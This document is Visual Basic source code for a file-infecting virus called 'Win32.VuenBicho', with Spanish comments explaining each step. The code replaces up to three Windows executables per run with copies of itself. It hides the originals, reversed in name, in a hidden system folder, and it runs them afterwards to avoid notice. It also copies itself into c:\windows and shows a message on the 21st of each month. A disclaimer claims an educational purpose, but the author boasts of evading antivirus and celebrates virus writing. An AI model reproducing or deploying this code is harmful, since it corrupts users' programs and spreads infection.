Sub Main()
'----------------------------------------- CORTAR AQU ---------------------------------------------------------
'NOMBRE       : Win32.VuenBicho (Prototipo)
'AUTOR        : 3Sk0rbut0/GEDZAC
'LUGAR        : ????????, ?????
'FECHA        : ??-??-??

'---------------------------------------------------------------------------------------------------------------
'NOTA   : Esto es un virus escrito en Visual Basic y debo aclarar que no me responsabilizo
'         bajo ningn punto de vista por el mal uso que le puedas dar a este material y tambin
'         debo aclarar que he escrito este prototipo solo con fines educativos.
'         Este virus es solo un prototipo y no tiene grandes posibilidades de propagacin
'         pero esto no quita que sea un espcimen peligroso para quien no sabe lo que hace.
'	  A Continuacin veremos su modo de funcionamiento.
'
'FUNCIONAMIENTO:
'Para que este virus funcione con xito deber realizar los siguientes pasos los cuales especifico
'de un modo generalizado:
'- Crear un directorio para almacenar los programas originales.
'- Obtener la ruta y el nombre de este programa
'- Verificar si estamos en un directorio raz porque si es as aprovecharemos de infectar
'  algunos entes del directorio c:\windows\
'- Bsqueda del primer archivo con extensin EXE.
'  ARCHIVO_ENCONTRADO:
'- Abrir el archivo para comprobar si es un archivo de win32, especficamente un Portable ejecutable (PE).
'- Comprobar si est ya suplantado mediante su tamao
'- Suplantacin del/los archivos encontrados:
'     * Mover el archivo original al directorio creado para almacenar los programas originales.
'     * Autocopiar este programa en lugar del archivo original con su nombre.
'     * Incrementar un contador de infecciones (INFECTAREMOS NADA MAS 3 EJECUTABLES POR EJECUCION)
'- Bsqueda del siguiente archivo con extensin EXE. (Si se encuentran mas archivos saltar a ARCHIVO_ENCONTRADO).
'- Ejecutar el programa original.
'
'PAYLOAD:
'El payload es bastante simple, consiste en una MessageBox que se mostrar los das 21 de cada mes al ejecutar
'un programa infectado (En este caso Suplantado).
'
'OBSERVACION:
' Como consecuencia de la suplantacin de un archivo exe cualquiera, este se vera carente de su icono original
' con lo cual los astutos sospecharan y los lerdos cooperarn.
' y...... porque los archivos suplantados perdern su icono?
' La respuesta es mas que lgica no? al ser copias de este mismo programa las utilizadas para...... bla bla bla
' ...... bueh esta de mas explicar esto, ;).
'
' COMENTARIOS ADICIONALES:
' A este virus le he incorporado un mecanismo para invertir el nombre de los archivos originales cuando
' son copiados en el directorio destinado para su almacenamiento, esto lo he hecho con el fin de impedir
' que por ejemplo, cuando el usuario inicie una bsqueda de archivos ejecutables en su HD, se tope con dos
' de ellos que tengan el mismo nombre pero distinta extensin. A dems de invertir el nombre de los archivos
' me preocup de ocultar el directorio donde se copiaran los archivos originales y tambin los archivos
' originales, todo esto con el fin de que este prototipo pase en lo posible inadvertido ante los ojos del
' usuario, aunque lo del icono nos jode un poquito, pero bueno, asi es la vida.
' Est dems decir que este espcimen no es detectado por ningn antivirus (POR AHORA)
'
' ATENCION :  SI VAS A MANIPULAR ESTE ESPECIMEN SE LO MAS CUIDADOSO POSIBLE !!!! YO NO ME RESPONSABILIZO
' BAJO NINGUN PUNTO DE VISTA POR LOS EFECTOS QUE ESTE PUEDA TENER EN TU MAQUINA, ADEMAS, EL CODIGO ESTA
' BASTANTE COMENTADO PARA COMPRENDERLO.
' TRAT DE COMENTAR EL CODIGO LO MAS DETALLADAMENTE POSIBLE Y ESPERO QUE LO ENTIENDAN Y QUE LO DISFRUTEN
' ARRIBA EL VIRII KARAJO!
'                                                                                                  (c) 3Sk0rbut0
'----------------------------------------- CORTAR AQU ---------------------------------------------------------

'********************************
'****    Win32.VuenBicho     ****
'********************************
'---------------------- Definicion de constantes/variables
 Dim Archivo As String
 Dim Exten As String
 Dim ArchDir As String
 Dim MiDirectorio As String
 Dim MiNombre As String
 Dim Yo As String
 Dim Registro As String
 Dim Contenido As String
 Dim InfecCont As Integer
 Dim Caracter As String
 Dim ArchEnt As String
 Dim ArchSal As String
 Dim j As Integer
 Dim k As Integer
 Dim h As Integer
 Dim x As Integer
 Dim p As Integer
 Dim sw As Integer
'---------------------- Crear directorio para almacenar los archivos originales
 ArchDir = "c:\windows\system\klt0s5k\"  ' El directorio para almacenar los archivos originales
 On Error Resume Next    ' Si el directorio ya existe MkDir dar un error por lo cual saltamos a la siguiente linea de cdigo
    MkDir (ArchDir)      ' Creamos el directorio
'---------------------- ' Ocultar el directorio
    SetAttr (ArchDir), vbHidden ' Ocultar
'---------------------- Obtener la ruta y el nombre de este programa
MiDirectorio = App.Path & "\"    ' MiDirectorio = Directorio actual de este programa
MiNombre = App.EXEName & ".exe"  ' MiNombre = Nombre de este programa
Yo = MiDirectorio & MiNombre     ' Yo = MiDirectorio + MiNombre
'----------------------
If Right(MiDirectorio, 2) = "\\" Then  'Estamos en un directorio raiz?,(A:\,B:\,C:\ y tal) si es as infectemos c:\windows\
    Yo = Left(Yo, 2) & "\" & MiNombre  ' Quitar un \ para que sea una ruta vlida
    ChDir$ "c:\windows\" ' cambiar el directorio actual a c:\windows\ para ejecutarnos ah
    FileCopy Yo, "c:\windows\kpXz4oX.exe" ' Copiarnos a c:\windows
    Shell "c:\windows\kpXz4oX.exe" ' Ejecutar la copia hecha en la linea anterior
  For h = 1 To 1000   ' Generar un retardo para darle tiempo de actuar a la copia antes de ser eliminada
    DoEvents          '
  Next h              '
    Kill "c:\windows\kpXz4oX.exe" ' Eliminar la copia hecha para infectar c:\windows\
    GoTo PayLoad      ' Ir al PayLoad (CARGA)
End If
'----------------------
Exten = "*.exe" ' Extencion de archivos a buscar
Archivo = Dir$(Exten)
'---------------------- FindFirstFile
While Archivo <> ""
If Archivo = MiNombre Then GoTo Siguiente
'--------------------- Abrir el archivo para verificar si es un exe de windows
Open Archivo For Input As #1           ' Abrir el archivo para R
  While Not EOF(1) = True              ' Fin de archivo?
    Line Input #1, Registro            ' Leemos el Registro
     Contenido = Contenido + Registro  ' Lo acumulamos
  Wend
Close #1                       ' Cerramos el archivo
'--------------------- Verificaciones
For j = 1 To Len(Contenido)
  If Mid(Contenido, j, 2) = "MZ" Then     ' Es un exe?
    For k = 1 To (Len(Contenido) - 2)
     If Mid(Contenido, k, 2) = "PE" Then  ' Es un PE ? OJO : Este no es el mejor modo de hacer esto
       If FileLen(Archivo) = 24576 Then GoTo Siguiente ' Nos estamos infectando nosotros mismos? entonces vamos por otro archivo
        '--------------------- SUPLANTACION
        sw = 1 ' Prendemos el switch
        GoSub Invertir        'Llamar a la rutina para invertir el nombre del archivo de destino
        '--------------------- MECANISMO SUPLANTADOR
        FileCopy Archivo, ArchDir & ArchSal & ".kjx" ' Copiar archivo original al directorio con extencion kjx
        SetAttr ArchDir & ArchSal & ".kjx", vbHidden ' Ocultar la copia
        Kill Archivo                        ' Eliminar el archivo original
        FileCopy Yo, Archivo                ' Copiarme en lugar del archivo original
        j = 0                               ' Limpiar Contadores
        k = 0                               '
        '--------------------- Limpiar las variables de la rutina que invierten en el nombre del archivo de destino
        Caracter = ""
        ArchSal = ""
        p = 0
        '---------------------
        InfecCont = InfecCont + 1           ' Incrementar el contador de infecciones
        If InfecCont = 3 Then GoTo PayLoad  ' Llevamos 3 archivos suplantados?, si es as vamos al PayLoad
        GoTo Siguiente                      ' Ir a buscar siguiente archivo
        '---------------------
     End If
    Next k
  Else
    If Mid(Contenido, j, 5) = ".text" Then       ' Por paranoia, si llegamos hasta aqui no vale la pena seguir =P
       GoTo Siguiente                            ' Ir a buscar el siguiente archivo
    End If
  End If
Next j
'---------------------- FindNextFile
Siguiente:
Archivo = Dir$
Wend
'---------------------- CARGA DE ESTE VIRUS (TextBox)
PayLoad:
  If Day(Now) = "21" Then  ' Bueh, si hoy es 21 entonces mostrar mensajito
     MsgBox "Codificado por 3sk0rbut0/GEDZAC (S/C)         ", vbCritical, "Win32.VuenBicho"
  End If
'---------------------- DEVOLVERLE EL CONTROL AL PROGRAMA ORIGINAL
On Error GoTo Terminar ' Si hay error al ejecutar el exe original entonces terminamos
sw = 0  ' Apagamos el switch
GoSub Invertir 'Llamar a la rutina para invertir el nombre del archivo de destino ya que en la carpeta se encuentra ivertido
Shell ArchDir & ArchSal & ".kjx", vbNormalFocus ' Ejecutar el archivo original
'---------------------- Por si el archivo original no est o se le ha cambiado el nombre, entonces terminamos
Terminar:
End
'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ RUTINA INVERSORA DE NOMBRES DE ARCHIVO
Invertir:
 If sw = 1 Then ArchEnt = Mid(Archivo, 1, (Len(Archivo) - 4))   ' Aqui est de ms explicar
 If sw = 0 Then ArchEnt = Mid(MiNombre, 1, (Len(MiNombre) - 4)) '
  For p = 1 To Len(ArchEnt)
    Caracter = Mid(ArchEnt, Len(ArchEnt) - p + 1, 1)
    ArchSal = ArchSal & Caracter
  Next p
Return
'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
End Sub